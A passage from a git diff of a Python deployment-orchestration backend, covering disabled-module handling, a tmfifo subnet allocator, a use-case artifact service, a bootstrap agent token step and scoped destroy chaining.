= StackDeploymentService(self.db) return deployment_service.check_prerequisites(project_id, template) - def run_deploy(self, project_id: int, stack_id: int) -> dict: + def run_deploy(self, project_id: int, stack_id: int, *, deployable_release_id: int | None = None) -> dict: """Deploy all stack modules (init + apply) with dependency ordering.""" from models import Task as TaskModel from services.execution.task_dispatch import dispatch_apply, dispatch_init @@ -862,6 +900,10 @@ def run_deploy(self, project_id: int, stack_id: int) -> dict: if not stack.deployed_modules: raise BadRequestError("Stack has no modules to deploy", code="EMPTY_STACK") + # ADR-478 P1b: re-stamp host release on run-deploy (idempotent; supports retry with a different release). + if deployable_release_id is not None: + self._stamp_host_release(stack, deployable_release_id) + # Re-sync stack-supplied shared defaults before every run to keep retry/resume # flows truthful when stack variables are module-scoped (e.g., user_ip). if stack.variables: @@ -967,7 +1009,29 @@ def run_deploy(self, project_id: int, stack_id: int) -> dict: unchanged_applied = [m for m in modules if m.status == ModuleStatus.APPLIED and not workspace.vars_changed(m)] changed_applied = [m for m in modules if m.status == ModuleStatus.APPLIED and workspace.vars_changed(m)] - pending_modules = [m for m in modules if m.status != ModuleStatus.APPLIED] + changed_applied + # Disabled modules are filtered OUT here rather than left to raise at + # dispatch. This loop commits a queued Task row before calling + # dispatch_init, and has no try/except: a raise would abandon every + # later module, leave the stack DEPLOYING, and leave an orphan queued + # row that makes _has_active_task true forever — permanently skipping + # that module on every re-run. + # + # _apply_topology_module_filter is the tree's main producer of disabled + # modules (optional bare-metal modules that don't match host topology), + # and those deploy through exactly this path. + pending_modules = [ + m for m in ([m for m in modules if m.status != ModuleStatus.APPLIED] + changed_applied) + if m.enabled + ] + skipped_disabled = [ + m.id for m in modules + if not m.enabled and (m.status != ModuleStatus.APPLIED or m in changed_applied) + ] + if skipped_disabled: + logger.info( + "Stack deploy: skipping %d disabled module(s): %s", + len(skipped_disabled), skipped_disabled, + ) if changed_applied: logger.info( diff --git a/backend/services/tmfifo_ipam_service.py b/backend/services/tmfifo_ipam_service.py new file mode 100644 index 00000000..c4775231 --- /dev/null +++ b/backend/services/tmfifo_ipam_service.py @@ -0,0 +1,174 @@ +"""Cluster-scoped tmfifo IPAM Allocator (ADR-424). + +Hands out unique /30 subnets per (host, DPU-rshim) link from a cluster's +tmfifo pool CIDR (default: 192.168.100.0/22). + +Subnet structure for a /30: + - Network address: e.g. 192.168.100.0 + - Host side (.1): e.g. 192.168.100.1 + - DPU side (.2): e.g. 192.168.100.2 + - Broadcast (.3): e.g. 192.168.100.3 + +NOTE: the first DPU IP in the default pool (192.168.100.2) collides with +the legacy single-host SSH-task fallback in tasks/ssh_tasks.py: + dpu_host = host.dpu_info[0].get("mgmt_ip", "192.168.100.2") +In a mixed cluster where some DPUs use the legacy hardcoded IP, the first +IPAM allocation would assign the same address. Avoid mixing legacy and +multi-host IPAM in the same L2 segment, or pick a non-overlapping pool CIDR. + +Flash-path gap (tracked in issue #515) — flash_dpu.py and wait-dpu-ready +still use a static 192.168.100.2 DPU-side address rather than the +persisted IPAM IP from this allocator. flash_dpu.py consumes +rendered_bf_conf (the persisted IPAM address for the host-side) and is +the only code that writes the DPU-side netplan; its fallback hardcodes +.2 so hosts 2..n fail. This is NOT resolved here; fix is deferred to +issue #515 which will extend the bare-metal deploy path to read +dpu.dpu_tmfifo_ip from the DB. +""" + +from __future__ import annotations + +import ipaddress +import logging +from typing import NamedTuple + +import sqlalchemy as sa +from sqlalchemy.exc import IntegrityError +from sqlalchemy.orm import Session + +from core.errors import ValidationError +from database import DATABASE_URL +from models.dpu import Dpu +from models.kubernetes import BnkClusterConfig + +logger = logging.getLogger(__name__) + +# Namespace key for the two-argument pg_advisory_xact_lock(namespace, cluster_id) +# form. All ADR-424 cluster-scoped locks share this namespace so that the +# tmfifo allocator and assign_members serialise against the same lock space +# (the one-arg int8 form is a DISTINCT lock space and would not interlock). +ADR424_ADVISORY_LOCK_NAMESPACE = 424 + + +class TmfifoAllocation(NamedTuple): + host_ip: str # e.g., "192.168.100.1" + dpu_ip: str # e.g., "192.168.100.2" + subnet_cidr: str # e.g., "192.168.100.0/30" + + +class TmfifoPoolAllocator: + """Allocates /30 tmfifo subnets within a cluster's pool CIDR.""" + + def __init__(self, db: Session): + self.db = db + + def allocate_next_subnet(self, cluster_id: int) -> TmfifoAllocation: + """Find and return the next available /30 subnet in the cluster's pool. + + Serialises concurrent callers via a PostgreSQL advisory transaction lock + keyed on cluster_id so that two simultaneous /bnk-members calls cannot + read the same "free" /30 and assign it to two different DPUs. The lock + is automatically released when the surrounding transaction commits or + rolls back (pg_advisory_xact_lock semantics). On SQLite (test env) the + lock call is skipped — SQLite is single-process and needs no advisory + locking. + """ + if not DATABASE_URL.startswith("sqlite"): + self.db.execute( + sa.text("SELECT pg_advisory_xact_lock(:ns, :k)"), + {"ns": ADR424_ADVISORY_LOCK_NAMESPACE, "k": cluster_id}, + ) + + bnk_config = ( + self.db.query(BnkClusterConfig) + .filter(BnkClusterConfig.cluster_id == cluster_id) + .first() + ) + if bnk_config is None: + logger.warning( + "allocate_next_subnet: no BnkClusterConfig for cluster %d — " + "falling back to default pool 192.168.100.0/22; " + "call assign_members first to persist a config", + cluster_id, + ) + pool_cidr = bnk_config.tmfifo_pool_cidr if bnk_config else "192.168.100.0/22" + + try: + pool_net = ipaddress.ip_network(pool_cidr) + except ValueError as exc: + raise ValidationError("tmfifo_pool_cidr", f"Invalid tmfifo pool CIDR '{pool_cidr}': {exc}") from exc + + # Find all currently allocated DPU IPs in this cluster + existing_dpus = ( + self.db.query(Dpu) + .filter(Dpu.kubernetes_cluster_id == cluster_id) + .all() + ) + used_subnets = { + ipaddress.ip_network(f"{dpu.dpu_tmfifo_ip}/30", strict=False) + for dpu in existing_dpus + if dpu.dpu_tmfifo_ip + } + + # Iterate over /30 subnets in the pool — use the generator directly so + # a large pool (e.g. /8 = 4M subnets) does not OOM when materialised. + # subnets() raises ValueError lazily (on first iteration) when the pool + # is already /30 or smaller; wrap the loop so a bad out-of-band DB + # value surfaces as ValidationError (4xx) rather than a bare 500. + try: + for sub in pool_net.subnets(new_prefix=30): + if sub not in used_subnets: + host_ip = str(sub[1]) + dpu_ip = str(sub[2]) + return TmfifoAllocation( + host_ip=host_ip, + dpu_ip=dpu_ip, + subnet_cidr=str(sub), + ) + except ValueError as exc: + raise ValidationError( + "tmfifo_pool_cidr", + f"tmfifo pool CIDR '{pool_cidr}' cannot be subdivided into /30s: {exc}", + ) from exc + + raise ValidationError("tmfifo_pool_cidr", f"tmfifo pool CIDR '{pool_cidr}' exhausted for cluster {cluster_id}") + + def assign_dpu_tmfifo(self, dpu: Dpu, cluster_id: int) -> TmfifoAllocation: + """Assign a unique /30 tmfifo subnet to a DPU if not already allocated. + + Raises ValidationError (wrapping an IntegrityError) when a concurrent + allocation races past the advisory lock and hits the partial unique index + on (kubernetes_cluster_id, dpu_tmfifo_ip). + """ + if dpu.kubernetes_cluster_id == cluster_id and dpu.host_tmfifo_ip and dpu.dpu_tmfifo_ip: + # Already allocated for this cluster — idempotent return + return TmfifoAllocation( + host_ip=dpu.host_tmfifo_ip, + dpu_ip=dpu.dpu_tmfifo_ip, + subnet_cidr=str(ipaddress.ip_network(f"{dpu.dpu_tmfifo_ip}/30", strict=False)), + ) + + alloc = self.allocate_next_subnet(cluster_id) + dpu.kubernetes_cluster_id = cluster_id + dpu.host_tmfifo_ip = alloc.host_ip + dpu.dpu_tmfifo_ip = alloc.dpu_ip + self.db.add(dpu) + try: + self.db.flush() + except IntegrityError as exc: + self.db.rollback() + raise ValidationError( + "dpu_tmfifo_ip", + f"Concurrent allocation conflict for cluster {cluster_id}: " + f"IP {alloc.dpu_ip} was already allocated (race condition). " + "Retry the request.", + ) from exc + return alloc + + def release_dpu_tmfifo(self, dpu: Dpu) -> None: + """Release a DPU's tmfifo allocation.""" + dpu.kubernetes_cluster_id = None + dpu.host_tmfifo_ip = None + dpu.dpu_tmfifo_ip = None + self.db.add(dpu) + self.db.flush() diff --git a/backend/services/usecase_artifact_service.py b/backend/services/usecase_artifact_service.py new file mode 100644 index 00000000..aa74d2c0 --- /dev/null +++ b/backend/services/usecase_artifact_service.py @@ -0,0 +1,262 @@ +""" +Use-Case Artifact service (D-034 Phase 0 tracer). + +Capture -> store immutable version -> render -> apply, on a single kind +(F5SPKVlan) and a single lifted param (spec.selfip_v4s). + +`_CAPTURE_PATHS` is the cluster-specific-field registry for P0 — a +one-entry constant list. Capture and render both *iterate* it rather than +branching on kind, so Phase 1 can swap it for a DB-backed registry query +with zero change to the walk. + +Usage: + from services.usecase_artifact_service import capture_usecase_artifact, apply_usecase_artifact + + version, created = capture_usecase_artifact(db, cluster_id, name="east-west", version="v1") + results, application = apply_usecase_artifact(db, cluster, version, {"selfip_v4s": ["10.0.0.1/24"]}) +""" + +import hashlib +import json +import logging +from copy import deepcopy +from typing import Any + +from sqlalchemy.exc import IntegrityError +from sqlalchemy.orm import Session + +from core.errors import BadRequestError, NotFoundError +from models.usecase_artifact import UseCaseApplication, UseCaseArtifact, UseCaseArtifactVersion +from services.config_export_service import _fetch_resources + +logger = logging.getLogger(__name__) + +# Cluster-specific-field registry (P0: one kind, one param). Capture and +# render iterate this list — never `if kind == "F5SPKVlan"`. +_CAPTURE_PATHS: list[dict[str, Any]] = [ + {"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s", "type": "ip", "is_list": True}, +] + +# Fetch descriptor for the one kind P0 captures/drifts — reuses the shape +# `services.config_export_service._fetch_resources` expects. +_VLAN_RESOURCE_TYPE: dict[str, Any] = { + "api_version": "k8s.f5net.com/v1", + "kind": "F5SPKVlan", + "plural": "f5-spk-vlans", + "namespaced": True, +} + + +def _get_by_path(obj: dict[str, Any], path: str) -> Any: + """Dotted-path getter. Returns None if any segment is missing.""" + cur: Any = obj + for part in path.split("."): + if not isinstance(cur, dict) or part not in cur: + return None + cur = cur[part] + return cur + + +def _set_by_path(obj: dict[str, Any], path: str, value: Any) -> None: + """Dotted-path setter. Creates intermediate dicts as needed.""" + parts = path.split(".") + cur = obj + for part in parts[:-1]: + cur = cur.setdefault(part, {}) + cur[parts[-1]] = value + + +def _param_key_for_path(jsonpath: str) -> str: + return jsonpath.rsplit(".", 1)[-1] + + +def lift_params(resources: list[dict[str, Any]]) -> tuple[list[dict[str, Any]], list[dict[str, Any]]]: + """Replace cluster-specific values with `${param}` tokens per `_CAPTURE_PATHS`. + + Returns (cr_templates, param_schema). One param_schema entry per distinct + param key found — multiple matching resources share the same param. + """ + templates = deepcopy(resources) + lifted_keys: set[str] = set() + param_schema: list[dict[str, Any]] = [] + + for resource in templates: + for capture_path in _CAPTURE_PATHS: + if resource.get("kind") != capture_path["kind"]: + continue + value = _get_by_path(resource, capture_path["jsonpath"]) + if value is None: + continue + + param_key = _param_key_for_path(capture_path["jsonpath"]) + _set_by_path(resource, capture_path["jsonpath"], f"${{{param_key}}}") + + if param_key not in lifted_keys: + lifted_keys.add(param_key) + param_schema.append({ + "key": param_key, + "type": capture_path["type"], + "kind": "assigned", + "is_list": capture_path["is_list"], + "required": True, + "source_paths": [ + {"kind": capture_path["kind"], "jsonpath": capture_path["jsonpath"]} + ], + }) + + return templates, param_schema + + +def compute_content_hash(cr_templates: list[dict[str, Any]], param_schema: list[dict[str, Any]]) -> str: + """Hash the templated structure + param key/type/path set — excludes concrete values. + + `cr_templates` already has concrete values replaced by `${param}` tokens + by the time this is called, so two captures of the same shape with + different discovered values hash identically (D-034 resolved decision #5). + """ + payload = { + "cr_templates": cr_templates, + "param_keys": sorted((p["key"], p["type"]) for p in param_schema), + } + canonical = json.dumps(payload, sort_keys=True, default=str) + return hashlib.sha256(canonical.encode()).hexdigest() + + +def render(version: UseCaseArtifactVersion, param_values: dict[str, Any]) -> list[dict[str, Any]]: + """Substitute `${param}` tokens with concrete values. + + A missing required param is a hard error listing every gap — never a + partial apply (the footgun repair, D-034 "Render / inject / apply"). + """ + param_schema: list[dict[str, Any]] = version.param_schema + missing = [p["key"] for p in param_schema if p.get("required", True) and p["key"] not in param_values] + if missing: + raise BadRequestError( + f"Missing required param(s): {', '.join(sorted(missing))}", + code="MISSING_REQUIRED_PARAMS", + ) + + rendered = deepcopy(version.cr_templates) + for resource in rendered: + for param in param_schema: + key = param["key"] + if key not in param_values: + continue + token = f"${{{key}}}" + for source_path in param.get("source_paths", []): + if resource.get("kind") != source_path["kind"]: + continue + if _get_by_path(resource, source_path["jsonpath"]) == token: + _set_by_path(resource, source_path["jsonpath"], param_values[key]) + + return rendered + + +def capture_usecase_artifact( + db: Session, + cluster_id: int, + name: str, + version: str, + matching_bnk_version: str | None = None, + created_by: str | None = None, +) -> tuple[UseCaseArtifactVersion, bool]: + """Capture F5SPKVlan CRs from a cluster into a versioned use-case artifact. + + Returns (version, created) — created=False means an unchanged shape was + already captured and the existing version was returned instead of a + duplicate (idempotency via content_hash, D-034 resolved decision #5). + """ + from kubernetes import client as k8s_client + + from models import KubernetesCluster + from services.kubernetes_service import KubernetesService + + cluster = db.query(KubernetesCluster).filter(KubernetesCluster.id == cluster_id).first() + if not cluster: + raise NotFoundError("cluster", cluster_id) + + k8s_svc = KubernetesService(db) + api_client = k8s_svc.load_kubeconfig(cluster) + custom_api = k8s_client.CustomObjectsApi(api_client) + + resources = _fetch_resources(custom_api, _VLAN_RESOURCE_TYPE) + cr_templates, param_schema = lift_params(resources) + content_hash = compute_content_hash(cr_templates, param_schema) + + artifact = db.query(UseCaseArtifact).filter(UseCaseArtifact.name == name).first() + if artifact: + existing = ( + db.query(UseCaseArtifactVersion) + .filter( + UseCaseArtifactVersion.artifact_id == artifact.id, + UseCaseArtifactVersion.content_hash == content_hash, + ) + .first() + ) + if existing: + logger.info("Use-case artifact '%s' unchanged — already captured as %s", name, existing.version) + return existing, False + else: + artifact = UseCaseArtifact(name=name, created_by=created_by) + db.add(artifact) + db.flush() + + new_version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version=version, + matching_bnk_version=matching_bnk_version, + cr_templates=cr_templates, + param_schema=param_schema, + source="captured_from_cluster", + source_cluster_id=cluster_id, + content_hash=content_hash, + created_by=created_by, + ) + db.add(new_version) + try: + db.flush() + except IntegrityError as exc: + db.rollback() + raise BadRequestError( + f"Version '{version}' already exists for artifact '{name}'", code="VERSION_EXISTS" + ) from exc + + logger.info("Captured use-case artifact '%s' version %s (id=%s)", name, version, new_version.id) + return new_version, True + + +def apply_usecase_artifact( + db: Session, + cluster: Any, + version: UseCaseArtifactVersion, + param_values: dict[str, Any], + applied_by: str | None = None, +) -> tuple[dict[str, list[dict[str, Any]]], UseCaseApplication]: + """Render `version` with `param_values` and apply it via the shared write path. + + Records a UseCaseApplication row so drift always compares against the + exact desired-state that was applied. + """ + from kubernetes import client as k8s_client + + from services.config_export_service import apply_resources + from services.kubernetes_service import KubernetesService + + rendered = render(version, param_values) + + k8s_svc = KubernetesService(db) + api_client = k8s_svc.load_kubeconfig(cluster) + custom_api = k8s_client.CustomObjectsApi(api_client) + + results = apply_resources(db, cluster.id, custom_api, {"bnk_data_plane": rendered}) + + application = UseCaseApplication( + artifact_version_id=version.id, + cluster_id=cluster.id, + param_values=param_values, + applied_by=applied_by, + ) + db.add(application) + db.flush() + + return results, application diff --git a/backend/startup_steps.py b/backend/startup_steps.py index 2a3b9d1a..29afd405 100644 --- a/backend/startup_steps.py +++ b/backend/startup_steps.py @@ -199,6 +199,19 @@ def seed_cli_bnkctl_modules_step(): logger.info(" cli-bnkctl modules up to date") +def seed_deployable_releases_step(): + """Seed BNK deployable releases into the catalog if not already present.""" + from database import get_db_context + from services.bare_metal.version_profiles import BnkDeployableReleaseService + with get_db_context() as db: + seeded_count = BnkDeployableReleaseService(db).seed_profiles() + db.commit() + if seeded_count > 0: + logger.info(f" Seeded {seeded_count} BNK deployable release(s)") + else: + logger.info(" BNK deployable releases already configured") + + def seed_auth_step(): """Seed default admin user if no users exist; always reconcile MCP service account.""" from database import get_db_context @@ -226,6 +239,98 @@ def seed_auth_step(): logger.warning(" Authentication DISABLED (REQUIRE_AUTH=false)") +def mint_builtin_agent_token_step(): + """Write a bootstrap token for the built-in forge-agent (#148). + + Agent-facing endpoints require an agent-class bearer token, so the built-in + agent -- which ships in docker-compose.yml with no operator-provisioned + token -- needs one it can find. It registers BEFORE it has an agent_id, so + an agent_id-bound token from _mint_agent_token cannot exist yet; this + token deliberately carries role=agent and NO agent_id. That lets it + register and connect the WS as a claimless agent, and nothing more. + + Written to its OWN VOLUME (AGENT_TOKEN_DIR, default /app/agent-token) -- + not into the keys volume beside jwt_secret.key. That is what lets + docker-compose.yml hand the agent container this one file and nothing + else, and it works on a cold first boot: a volume `subpath` mount fails + container creation if the path does not exist yet, and on first boot the + backend has not written anything when the agent container is created. + A dedicated named volume is created empty by Docker and needs no + ordering. The file is stable across restarts: reissued only when + missing, no longer valid for the current JWT_SECRET_KEY, or close to + expiry -- so a running agent keeps working across backend restarts. + + Only meaningful when BENCHMARK_AGENT_AUTH_REQUIRED is on; when it is off, + the endpoints are open and the file is harmless. + """ + import os + from datetime import UTC, datetime, timedelta + + from core.errors import UnauthorizedError + from services.auth_service import create_access_token, decode_token + + token_dir = os.environ.get("AGENT_TOKEN_DIR", "/app/agent-token") + path = os.path.join(token_dir, "builtin_agent.token") + lifetime = timedelta(days=365) + # Reissue while there is still comfortably more life left than the gap + # between backend restarts. A token that merely "decodes today" is not + # good enough: if it expires under a running agent, every heartbeat starts + # 4401ing and nothing reissues until the NEXT restart -- a silent lockout, + # which is the one thing a bootstrap credential must never do. + renew_before = timedelta(days=30) + + existing = None + try: + with open(path) as f: + existing = f.read().strip() or None + except FileNotFoundError: + pass + except OSError as exc: + logger.warning(" Could not read %s: %s", path, exc) + + if existing: + try: + payload = decode_token(existing) + exp = payload.get("exp") + remaining = ( + datetime.fromtimestamp(int(exp), tz=UTC) - datetime.now(UTC) + if exp is not None else timedelta(0) + ) + if remaining > renew_before: + logger.info(" Built-in agent bootstrap token present and valid") + return + logger.info( + " Built-in agent bootstrap token expires in %s — reissuing early", remaining + ) + except UnauthorizedError: + logger.info(" Built-in agent bootstrap token stale (secret rotated?) — reissuing") + + token = create_access_token( + {"sub": "forge-builtin-agent", "role": "agent"}, + expires_delta=lifetime, + ) + try: + os.makedirs(token_dir, exist_ok=True) + with open(path, "w") as f: + f.write(token) + # 0644, not 0600: the agent container runs as uid 1001 (Dockerfile.agent) + # and the backend as another uid, and the file crosses between them via + # the compose mount. World-read is the mechanism, not an accident -- the + # token is deliberately narrow (role=agent, no agent_id) so this exposure + # buys register + claimless WS and nothing else. Never widen its claims. + # chmod AFTER write, not via an opener: an opener's mode applies only on + # create, so a rewrite of an existing 0600 file would keep it 0600 and + # the agent could not read the reissued token. + os.chmod(path, 0o644) + logger.info(" Wrote built-in agent bootstrap token to %s", path) + except OSError as exc: + logger.warning( + " Could not write built-in agent bootstrap token (%s); the built-in " + "agent will fail to register while BENCHMARK_AGENT_AUTH_REQUIRED is on", + exc, + ) + + def assert_lock_columns_step(): """Assert that all whitelisted entity tables have the four lock columns. diff --git a/backend/tasks/_tofu_helpers.py b/backend/tasks/_tofu_helpers.py index 652c06bb..aee67b37 100644 --- a/backend/tasks/_tofu_helpers.py +++ b/backend/tasks/_tofu_helpers.py @@ -202,6 +202,17 @@ def _trigger_next_stack_module(stack, completed_module: ProjectModule, db) -> No # Find modules that can now be deployed for module in stack_modules: + # A disabled module is not runnable — the dependency chain must not + # dispatch it just because its predecessor finished (issue #527). + # Blueprint manifests rely on this: `optional: true` creates a module + # DISABLED, and that guarantee is only as good as this check. + if not module.enabled: + logger.info( + "Skipping trigger for module %s (%s) — module is disabled", + module.id, module.path_in_project, + ) + continue + # Skip if already applied, applying, or failed if module.status in ["applied", "applying", "apply_failed", "plan_failed"]: continue @@ -297,7 +308,62 @@ def _trigger_next_stack_module(stack, completed_module: ProjectModule, db) -> No logger.warning(f"Failed to trigger next stack module: {e}") -def _trigger_next_destroy_module(module: ProjectModule, db) -> None: +def _destroy_scope_for( + module: ProjectModule, db, task_id: int | None = None +) -> str | None: + """Return the destroy scope of the RUN that is executing, not of the module. + + ``task_id`` is the destroy Task actually running. Pass it wherever it is in + scope — scope is a property of the run, and reading "the newest destroy Task + for this module id" instead produced a real regression: + + 1. user destroys leaf module M → Task stamped destroy_scope="module" + 2. user clicks Destroy All while it runs → _dispatch_first_destroy_wave + sees M's non-terminal destroy Task and skips creating a project-scoped + row for it + 3. M completes → the newest row is still the module-scoped one → the chain + guard returns before chaining AND before terminal detection + 4. dependencies never queued (cloud infra stranded) and the stack/project + sits in DESTROYING forever + + Returns "module" / "project" / "stack", or None when the caller should fall + back to its own heuristic. + + Unknown scope resolves to "module", i.e. DO NOT CHAIN. Every destroy Task + created before the stamp existed has meta_data = NULL, and the previous + None-return let those fall through to the stack_instance_id heuristic — + which cascades. A single-module destroy enqueued by the old code and still + QUEUED across a deploy would have completed under the heuristic and deleted + its dependency: the original data-loss bug, live during the rollout window. + The failure direction of an unknown scope must not be destruction. + + ``run_handle`` is the discriminator that exists on legacy rows: both wave + dispatchers set it, ``create_task`` never does. So run_handle IS NULL means + a single-module run regardless of when the row was written. + """ + query = db.query(TaskModel).filter(TaskModel.task_type == "destroy") + if task_id is not None: + row = query.filter(TaskModel.id == task_id).first() + else: + row = ( + query.filter(TaskModel.module_id == module.id) + .order_by(TaskModel.id.desc()) + .first() + ) + if not row: + return None + + stamped = (row.meta_data or {}).get("destroy_scope") + if stamped: + return stamped + # Unstamped: infer from run_handle rather than falling through to a + # heuristic that cascades. + return "module" if not row.run_handle else None + + +def _trigger_next_destroy_module( + module: ProjectModule, db, task_id: int | None = None +) -> None: """ Post-destroy trigger hook — invoked when destroy worker completes for module M. @@ -319,13 +385,28 @@ def _trigger_next_destroy_module(module: ProjectModule, db) -> None: D in M.dependencies = modules that M depends on = lower layer (root direction). Dependents of D = modules X where D in X.dependencies = destroyed before D. - Works for both project-scope and stack-scope destroys: + Works for project-scope and stack-scope destroys: - Stack modules: scoped to stack.deployed_modules list - Project modules: scoped to project_id + + Module-scope destroys (a single POST /project-modules/{id}/destroy) do NOT + chain at all — see the destroy_scope == "module" guard below. """ + if _destroy_scope_for(module, db, task_id) == "module": + # Single-module destroy: the dependencies are precisely what the caller + # asked to keep, and there is no parent stack/project teardown in flight + # to finalize. Stop here (issue #525). + logger.info( + "_trigger_next_destroy_module: module %s was destroyed at module scope — " + "not chaining into its %d dependenc(ies)", + module.id, + len(module.dependencies or []), + ) + return + if not module.dependencies: # No dependencies to check — still run terminal detection - _run_terminal_detection(module, db) + _run_terminal_detection(module, db, task_id) return try: @@ -345,20 +426,7 @@ def _trigger_next_destroy_module(module: ProjectModule, db) -> None: # first-wave Task. Blueprint modules have stack_instance_id but MUST be treated # as project-scope in a project destroy. Relying on stack_instance_id alone would # misclassify them as stack-scope and break the fail-soft barrier logic. - predecessor_task_for_scope = ( - db.query(TaskModel) - .filter( - TaskModel.module_id == module.id, - TaskModel.task_type == "destroy", - ) - .order_by(TaskModel.id.desc()) - .first() - ) - scope_from_meta = ( - (predecessor_task_for_scope.meta_data or {}).get("destroy_scope") - if predecessor_task_for_scope - else None - ) + scope_from_meta = _destroy_scope_for(module, db, task_id) # is_stack_scope: True only when there is no explicit meta_data override saying # "project" AND the module actually belongs to a stack. is_stack_scope = (scope_from_meta != "project") and bool(module.stack_instance_id) @@ -511,10 +579,12 @@ def _trigger_next_destroy_module(module: ProjectModule, db) -> None: ) # Always run terminal detection after attempting triggers - _run_terminal_detection(module, db) + _run_terminal_detection(module, db, task_id) -def _run_terminal_detection(module: ProjectModule, db) -> None: +def _run_terminal_detection( + module: ProjectModule, db, task_id: int | None = None +) -> None: """ Check if all modules in the destroy scope are terminal and finalize if so. @@ -528,20 +598,12 @@ def _run_terminal_detection(module: ProjectModule, db) -> None: try: # Resolve scope from task metadata first (prevents blueprint modules with # stack_instance_id from being misclassified as stack-scope on project destroy). - predecessor_task = ( - db.query(TaskModel) - .filter( - TaskModel.module_id == module.id, - TaskModel.task_type == "destroy", - ) - .order_by(TaskModel.id.desc()) - .first() - ) - scope_from_meta = ( - (predecessor_task.meta_data or {}).get("destroy_scope") - if predecessor_task - else None - ) + scope_from_meta = _destroy_scope_for(module, db, task_id) + + if scope_from_meta == "module": + # Single-module destroy — no parent stack/project teardown is in + # flight, so there is no entity to finalize or mark failed (#525). + return if scope_from_meta == "project": _run_terminal_detection_project(module, db) @@ -1035,6 +1097,13 @@ def create_deployment_record(db, task: TaskModel, module: ProjectModule, action: resources_to_change=resources_to_change, resources_to_destroy=resources_to_destroy, environment=module.project.environment or "dev", + # The task is the handle for this run's output (GET /api/tasks/{id}). + # A deployment row has no task_id column, and that handle was not + # reachable from any module-facing endpoint (#154) -- so an operator + # who found a deployment id had a number that looked like the log + # handle but was not. Record it here; the /deployments route exposes + # it as task_id. + meta_data={"task_id": task.id, "celery_task_id": task.celery_task_id}, ) db.add(deployment) diff --git a/backend/tasks/ansible_tasks.py b/backend/tasks/ansible_tasks.py index 046285c3..bc7760d2 100644 --- a/backend/tasks/ansible_tasks.py +++ b/backend/tasks/ansible_tasks.py @@ -442,7 +442,7 @@ def run_ansible_destroy(self, task_db_id: int, module_id: int, **kwargs): create_deployment_record(db, task, module, "destroy", task.logs) _update_stack_status_if_needed(module, db) # D-001 Phase 3: event-chain destroy trigger hook - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"success": result.success, "exit_code": task.exit_code} @@ -459,7 +459,7 @@ def run_ansible_destroy(self, task_db_id: int, module_id: int, **kwargs): try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after Ansible ModuleLockError: %s", trigger_err) raise @@ -476,7 +476,7 @@ def run_ansible_destroy(self, task_db_id: int, module_id: int, **kwargs): try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after Ansible ModuleLockLostError: %s", trigger_err) raise @@ -500,7 +500,7 @@ def run_ansible_destroy(self, task_db_id: int, module_id: int, **kwargs): try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after Ansible generic exception: %s", trigger_err) raise diff --git a/backend/tasks/cli_tasks.py b/backend/tasks/cli_tasks.py index 1df6dd11..59b1cbbc 100644 --- a/backend/tasks/cli_tasks.py +++ b/backend/tasks/cli_tasks.py @@ -247,9 +247,17 @@ def _is_truthy(val: object) -> bool: # ── Context builder ────────────────────────────────────────────────────────── -def _build_cli_context(db, module: ProjectModule) -> ModuleContext: +def _build_cli_context( + db, module: ProjectModule, *, for_destroy: bool = False +) -> ModuleContext: """Build ModuleContext with cloud credentials for BnkctlEngine. + `for_destroy` suppresses the cluster.yaml render. Destroy must run against + the config that was applied -- the workspace file written at apply time, + beside the tool's own state -- not a fresh render of the current project + form. See #82: editing cluster_name after apply made `down` target a + cluster that never existed, leaving the real EKS cluster live and orphaned. + Credentials are resolved from the project credential template and injected into credentials_env. They live only in memory for the duration of task execution — never serialized to logs, DB, or UI. @@ -292,6 +300,9 @@ def _build_cli_context(db, module: ProjectModule) -> ModuleContext: module_path.startswith("cli-bnkctl/") and "cluster_yaml" not in variables and variables.get("bnkctl_action") != "demo-usecases" + # Never re-render on the destroy path -- the engine reads the applied + # cluster.yaml straight from the workspace instead (#82). + and not for_destroy ) if is_cluster_module: # Materialize file-secrets into the workspace before rendering cluster.yaml. @@ -775,7 +786,7 @@ def run_cli_destroy(self, task_db_id: int, module_id: int, **kwargs): _notify_task_started(task) with module_lock(db, module.id, task_id=task_db_id) as lock: - ctx = _build_cli_context(db, module) + ctx = _build_cli_context(db, module, for_destroy=True) output_lines: list[str] = [] def _on_destroy_output(line: str) -> None: @@ -841,7 +852,7 @@ def _on_destroy_output(line: str) -> None: create_deployment_record(db, task, module, "destroy", task.logs) _update_stack_status_if_needed(module, db) - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"success": result.success, "exit_code": task.exit_code} @@ -858,7 +869,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning( "_trigger_next_destroy_module failed after CLI ModuleLockError: %s", trigger_err, @@ -878,7 +889,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning( "_trigger_next_destroy_module failed after CLI ModuleLockLostError: %s", trigger_err, @@ -892,7 +903,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning( "_trigger_next_destroy_module failed after CLI generic exception: %s", trigger_err, diff --git a/backend/tasks/container_reaper.py b/backend/tasks/container_reaper.py new file mode 100644 index 00000000..0c92d99d --- /dev/null +++ b/backend/tasks/container_reaper.py @@ -0,0 +1,137 @@ +"""Reap step containers whose worker died. + +Detached execution dropped ``--rm``: the exit code has to be read back after the +container stops, so removal moved from the daemon into a ``finally`` block in +``DockerRunner.run_step``. A worker killed by SIGKILL/OOM never reaches that +block, and the container keeps running with nothing left to 